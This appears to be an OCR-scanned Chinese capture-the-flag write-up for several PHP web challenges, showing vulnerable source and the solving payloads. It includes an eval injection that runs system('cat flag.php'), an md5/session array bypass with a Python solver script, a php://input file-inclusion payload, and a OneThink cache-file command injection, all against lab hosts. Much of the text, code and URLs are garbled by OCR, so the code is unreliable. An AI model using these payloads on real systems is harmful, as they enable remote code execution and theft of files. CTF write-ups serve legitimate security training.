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<*php

include  “flag. php”;

$a = @ REJEST[ hello ],

if {lpreg_match("/ omd/”, §a 11 {
die ! ERROR 3 ;

1

eval ("war_dump (a7

show_sowrce (__FILE )

"
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amray %) [ ["_GET"]== array(l) { ["hella™] == sting[7) "GLOBALS" | [*_POST"]== amay(0} [ | ["_COOKIE™)== arrawD] { } [*_FILES™] == array(d) { j ["_REQUEST ]== ar
[*hello®]== string(7} "GLOBALS® | [*flag*]=> string(38) “flagE— i oaEsRER" [(dH0E = stringl42) “flaglal7fh105-2c47-42fd-h815-60407ad 16045} [
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el s _dmp FRl )
show_saurea |__FILE_J)
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C | [ 00e19863cdff42fc99920c153a027938bo6foele8bod349bd.ctf.game/hello

<“php

include  “flag. php”;

$a = @ REQUEST[ hella' ];
evall “war_dumpi$a);");
show _source( FILE )
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Exp:

?hello=);system("cat flag.php");//
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(i) view-source:http://00e19863cdff42fc89920c153a027938b6f6e0eBb5d 34%bd . ctf.game/?hello=);system("cat flag.ph C || Q Bing <Ctl+K= ﬁ’ B ¥+ @& *

INT v| = & SQL- XS5+ Encryption- Encoding- Other-

& Load URL  http://00e19863cdf42fc09920c153a027938b6/6e0eBb6d349bd ctf.game/hello=);system(*cat flag.php)://
@ split URL

bl Execute

Enable Post data [ | Enable Referrer

Post data a=111111131113313313333313371333333333333333333333133333133333333333333333333333333333333333333133313331333333333371339333333333333333333333333313331333333333333131:

111313331333331333133333133333333313333333333333333333333333333333333333333333337333333333333333333333333333333333333333393333333337333333333333313331331131331111
11111133113333113311313333333333319333393333333331333333333333333133333333333319333393333193333133333133333333319333319333333933371933371933931333912133311213311231111131
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<?php

$flag = "Too Voung Too Simple”:

#flag (0al fI5dd98IF4ch5b—bcd-11250c4F3803F ;
¢codespan style="color: #0000007>

<span style="color: BOO00BB*»&1t: Pphp<br /»</span><span style="color: #007700"includefnber </span><span style="color: #DDOOOO">"flaz. php”
</span>
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<“php

error_reporting (00

zessior_start () ;

requirel ./ /flag.php’);

if{lisset ($_SESSTON[ rams" 1)) {
F_SESSION [ roam=" ] 0;
$_SESSION[ time’] timel):
F_SESSION[ whoami™] = “ea

H

if (F SESSION[ time™ J+120<time () {
zegzion_destrov ()
1

fwalue = § FEQUEST[ walue"]:
fetr rand = range(’s, ")
fetr rands = Jetr_rand[mt randi(0, 25)]. fstr rand[mt_randin, 250 ]1;

1f (F SESSION[ whoami’ J=={$walue [0]. fralue[1]) &%  substr mdS (fwalue), 5,4)==0) {
F_SESSION [ roams" 14+
$_SESSION[ whoami™] = fstr rands;
echo  $str_rands:

1

if(§ SESSION[ ram="]>=10) {
echo  $flag;
1

zhow sowrce(_ FILE )
T

H=ASESSIONZE & nums: % time: it whoami: B AWIMEIE SR 5K Sstr_rands A BRI BENL Z R/ IR (E 25

B
$str_rands 5t =24 B2 bLFE ML 267 £

243 2 $_SESSION['Whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0 , nums+1
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<?php
error_reporting(o);
$arr=$_GET['a'];
if (substr(md5($arr),5,4)==0){
echo 'yes';
}
else{

echo 'no';

?>

&« (& ‘@ localhost/phpinfo.php?a=1

no

&« (& ‘@ localhost/phpinfo.php?all=1

yes

v CAZE — IR V5 1)
http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a

4=l Load URL  hitp://3153732255¢ce43aa%4a40161e40bc03de58dbiefb0d14523.ctf. game/value[0]=eBivalue[l]=a

% split URL
) Execute

Enable Post data [ | Enable Referrer

Post data

or <Yphp

er‘gﬁepnrting (0);
SESS1 _start();

requirel’ . /flag. php' J:
if(lisset ($_S]§_SSION_[’_ mums ]0) 1

JEHARIKAEE, 10Lh EEk4T.
Python il 4 :


http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value%255B0%255D=e&value%255B1%255D=a

#lusr/bin/env python
#!coding=utf-8

__author__ = 'zhengjim'

import requests

aa = requests.session()

code = aa.get('http://3f53732255ce43aa94a40161e40bcO3de58dbfefb0d14523.ctf.game/?value[0@]=e&value[l]=a"').te

# print code
cc = code[:2]
for i in xrange(10):

url = "http://3f53732255ce432a94a40161e40bcO3de58dbfefb0d14523.ctf.game/index.php?value[0]={}&value[1l]=

flag= aa.get(url=url).text
cc = flag[:2]
print flag
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klflag{d£a301683-chee—4cBd-a3fb-4268a9c6Te9f} <coder<span style="color: #D00000">

“span styl Llor: #00O0EE"3&1t;7phpénbsp;<br [rerror_reporting</span’<{span style="color @ #007T700"> (</span>{span style="color: #OOODOBE">0</span’<span style="color: #1077
<fcode’
a . - hime s = -
include:
<php

show _source( FILE )
if{iz=et (3 _REQUEST[ path’ 1)) {
include (F_REQUEST [ path’ 13 ;
telzed
incIude ( phpirfo. ghp' J
I

ZE Fallow_url_includeJt )& :

Stream Filter support

bzip2.decompress, bzip2.compress

BZip2 Version

1.0.6, 6-5ept-2010

Core

| PHP Version

| 5.6.29

allow_url_fopen Off Off
allow_url_include On ffpue— On
always_populate_raw_post_data 0 0
arg_separator.input & &
arg_separator.output & &

H# php://inputsl 47 i
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() @ 9444614f63744c39b45954b045ecdb77183d1b7d3f34#1.ctf. game/?path=php:/finput vE ¢

INT T| = & SQL- XS5- Encryption- Encoding- Otherr
4= Load URL  http://9444614f63744c30b450854be045ecdb77183d1b7d334ff1 cif. game/?path=php://input
# split URL
I Execute
Enable Post data [ | Enable Referrer
Post data =?php system('cat dle345aae.php’); 7=

{code><span style="color: #0000007>

<span style="color: #0000BB">»&1t Pphplnbsp: <br /rshow_source</span’<span style="col
</span>

</code> < ?php

S Flag="Flag {1 dcdIF8a—dfFI—4fbI—-alFb—F6849b099Fal ”";

zone:
%% http://www.cnblogs.com/Mrsm1th/p/6600876.html
FIFnginx L EA 4 32 H F8P T HIFH.

onethink:
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&%, http://www.hackdig.com/06/hack-36510.htm
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K5—: %0a%a=$_GET[a];/


http://www.hackdig.com/06/hack-36510.htm

K5 —: %0aecho "$a";//
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KREN, HEHburpRiiEEN .

SR J& Vi [9l/Runtime/Temp/2bb202459¢30a1628513f40ab22fa01a.php

HIR Tflaghi B catihiT T -

/Runtime/Temp/2bb202459¢30a1628513f40ab22fa01a.php?a=cat ../../flag.php

4l Load URL  hitpy//753a568aBe13447aabdcac23b7cc302e715eac55923483b.ctl.game//Runtime/Temp/2bb202459c3021628513f40ab22falla.php?a=cat¥20. /. /flag.php
B split URL
) Execute

Enable Post data [ | Enable Referrer

Post data a=1111111111111111111111113111111111111313111111111111321311111111112131111111111113133111111111113313111111111133311111111111313311111111111311311111111111311111111111111 =
11111111111111311111111111131311111111111133131111111113333111111111113333111111111323113111111112132333111111111233171111111111333311111111113133131111111111133111111111111 [ ]
111111113111191313131333331131913913913999339393193139139139339333399139139139133993393937991391391393939399371913913913933397399191391393919193999113939139393919197199711191397917191111111313
111111111111131911111111111131911111111113939919111111913999919111111113399919191111199939919111111192999999111119299999911111113199999111111113191911111111113111911111111 ~

<?php
§flag = "flag{64£7a775-7d6c-4686-baf3-25c2664559995}";
2>
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